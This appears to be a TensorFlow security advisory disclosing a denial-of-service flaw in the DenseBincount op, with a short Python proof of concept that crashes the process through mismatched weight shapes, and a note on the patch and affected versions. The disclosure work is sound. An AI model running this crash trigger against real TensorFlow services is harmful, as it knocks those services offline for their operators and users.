Impact

DenseBincount assumes its input tensor weights to either have the same shape as its input tensor input or to be length-0. A different weights shape will trigger a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf
binary_output = True
input = tf.random.uniform(shape=[0, 0], minval=-10000, maxval=10000, dtype=tf.int32, seed=-2460)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.DenseBincount(input=input, size=size, weights=weights, binary_output=binary_output)

Patches

We have patched the issue in GitHub commit bf4c14353c2328636a18bfad1e151052c81d5f43.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
